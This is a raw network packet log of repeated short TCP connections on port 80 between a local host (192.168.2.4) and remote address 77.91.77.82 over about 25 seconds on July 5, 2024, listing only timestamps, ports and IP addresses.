Jul 5, 2024 05:10:05.877672911 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:05.882471085 CEST	80	49739	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:06.096573114 CEST	80	49739	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:06.096642017 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.201392889 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.201792002 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.206697941 CEST	80	49740	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:06.206774950 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.206796885 CEST	80	49739	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:06.206851959 CEST	49739	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.206985950 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.212297916 CEST	80	49740	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:06.908555031 CEST	80	49740	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:06.908638954 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.909427881 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:06.914166927 CEST	80	49740	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:07.129904032 CEST	80	49740	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:07.129971981 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.232672930 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.233026981 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.239249945 CEST	80	49740	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:07.239273071 CEST	80	49741	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:07.239353895 CEST	49740	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.239401102 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.239581108 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.245934963 CEST	80	49741	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:07.978058100 CEST	80	49741	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:07.978123903 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.978868008 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:07.983618975 CEST	80	49741	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:08.212229013 CEST	80	49741	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:08.212286949 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:08.326364994 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:08.326674938 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:08.332462072 CEST	80	49742	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:08.332531929 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:08.332653999 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:08.332778931 CEST	80	49741	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:08.332834005 CEST	49741	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:08.337378979 CEST	80	49742	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:09.050707102 CEST	80	49742	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:09.054861069 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.055381060 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.060126066 CEST	80	49742	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:09.282841921 CEST	80	49742	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:09.286757946 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.388837099 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.389148951 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.393970013 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:09.393987894 CEST	80	49742	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:09.394073009 CEST	49742	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.394092083 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.394258976 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:09.403717041 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:10.092967033 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:10.093030930 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.094006062 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.098809004 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:10.310858011 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:10.310924053 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.420135975 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.420430899 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.425348997 CEST	80	49744	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:10.425422907 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.425515890 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.425518990 CEST	80	49743	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:10.425570011 CEST	49743	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:10.430280924 CEST	80	49744	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:11.117185116 CEST	80	49744	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:11.118777037 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.119334936 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.124195099 CEST	80	49744	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:11.337167025 CEST	80	49744	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:11.337248087 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.452963114 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.453314066 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.458137989 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:11.458374977 CEST	80	49744	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:11.458461046 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.458462000 CEST	49744	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.458595991 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:11.470412016 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:12.202783108 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:12.202862024 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.203501940 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.208291054 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:12.433974981 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:12.434134960 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.545006990 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.545344114 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.550228119 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:12.550291061 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.550329924 CEST	80	49745	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:12.550375938 CEST	49745	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.550483942 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:12.555223942 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:13.255688906 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:13.255759001 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.256418943 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.261204958 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:13.475923061 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:13.476011038 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.591912031 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.592235088 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.597028971 CEST	80	49746	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:13.597516060 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:13.597656965 CEST	49746	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.597717047 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.598210096 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:13.602988958 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:14.309160948 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:14.309225082 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.310110092 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.314889908 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:14.533269882 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:14.533324003 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.638802052 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.639229059 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.643898964 CEST	80	49747	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:14.644094944 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:14.644150972 CEST	49747	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.644195080 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.644329071 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:14.649092913 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.303675890 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.303740978 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.303908110 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.303949118 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.304158926 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.304202080 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.304296017 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.304335117 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.305944920 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.311069012 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.527744055 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.527910948 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.638837099 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.639163017 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.644032001 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.644093037 CEST	80	49748	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:16.644139051 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.644180059 CEST	49748	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.648510933 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:16.653409004 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:17.363126040 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:17.364792109 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.365453959 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.378010035 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:17.594145060 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:17.597193956 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.701242924 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.701550007 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.706352949 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:17.706603050 CEST	80	49749	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:17.706680059 CEST	49749	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.706784010 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.706784010 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:17.711558104 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:18.398535967 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:18.398586035 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.399399042 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.404227018 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:18.616611958 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:18.616667032 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.732526064 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.732827902 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.737637997 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:18.737664938 CEST	80	49750	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:18.737716913 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.737747908 CEST	49750	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.737929106 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:18.744024038 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:19.432054043 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:19.432142019 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.432748079 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.437473059 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:19.648850918 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:19.649019003 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.764137030 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.764446974 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.769289970 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:19.769361019 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.769368887 CEST	80	49751	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:19.769419909 CEST	49751	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.769524097 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:19.774427891 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:20.471168995 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:20.471226931 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.473938942 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.478703022 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:20.691514969 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:20.697483063 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.810738087 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.811074018 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.815896988 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:20.815958023 CEST	80	49752	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:20.816051960 CEST	49752	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.816066980 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.816206932 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:20.820964098 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:21.551939964 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:21.552206993 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.552846909 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.557713985 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:21.780407906 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:21.780510902 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.888840914 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.889180899 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.894056082 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:21.894108057 CEST	80	49753	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:21.894146919 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.894181967 CEST	49753	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.894308090 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:21.901802063 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:22.605396032 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:22.605459929 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.606164932 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.610991001 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:22.831770897 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:22.831847906 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.935647964 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.935983896 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.940819025 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:22.940831900 CEST	80	49754	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:22.940913916 CEST	49754	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.940933943 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.941123962 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:22.945828915 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:23.662369013 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:23.665218115 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:23.670679092 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:23.675486088 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:23.896245003 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:23.896862030 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:23.998394966 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:23.998743057 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:24.003639936 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:24.003726959 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:24.003806114 CEST	80	49755	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:24.003859997 CEST	49755	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:24.003942013 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:24.008718967 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:24.715133905 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:24.715202093 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:24.716074944 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:24.720973969 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:24.936079979 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:24.936160088 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.045131922 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.045445919 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.051914930 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:25.052051067 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.052228928 CEST	80	49756	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:25.052263975 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.052294016 CEST	49756	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.057046890 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:25.773075104 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:25.773169994 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.773895025 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:25.778839111 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:25.999701023 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:25.999815941 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.107532024 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.107863903 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.113071918 CEST	80	49757	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:26.113121033 CEST	49757	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.113328934 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:26.113400936 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.113531113 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.118309975 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:26.824183941 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:26.824348927 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.825114012 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:26.832118988 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:27.052367926 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:27.052484035 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.154323101 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.154623032 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.159535885 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:27.159759045 CEST	80	49758	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:27.159853935 CEST	49758	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.159863949 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.159976006 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.164736032 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:27.883590937 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:27.883943081 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.884572983 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:27.889532089 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:28.108021975 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:28.108091116 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.216953039 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.217242002 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.223562002 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:28.223678112 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.223853111 CEST	80	49759	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:28.223864079 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.223897934 CEST	49759	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.228595018 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:28.925721884 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:28.926812887 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.929181099 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:28.934020042 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:29.146338940 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:29.146397114 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.248369932 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.248667002 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.254534960 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:29.254548073 CEST	80	49760	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:29.254609108 CEST	49760	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.254751921 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.254751921 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.259597063 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:29.966687918 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:29.966820002 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.967524052 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:29.972302914 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:30.189443111 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:30.189503908 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:30.295095921 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:30.295408964 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:30.301162004 CEST	80	49761	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:30.301175117 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:30.301215887 CEST	49761	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:30.301276922 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:30.301451921 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:30.306325912 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:31.029006958 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:31.030823946 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.031476021 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.036268950 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:31.258886099 CEST	80	49762	77.91.77.82	192.168.2.4
Jul 5, 2024 05:10:31.262857914 CEST	49762	80	192.168.2.4	77.91.77.82
Jul 5, 2024 05:10:31.373147964 CEST	49762	80	192.168.2.4	77.91.77.82
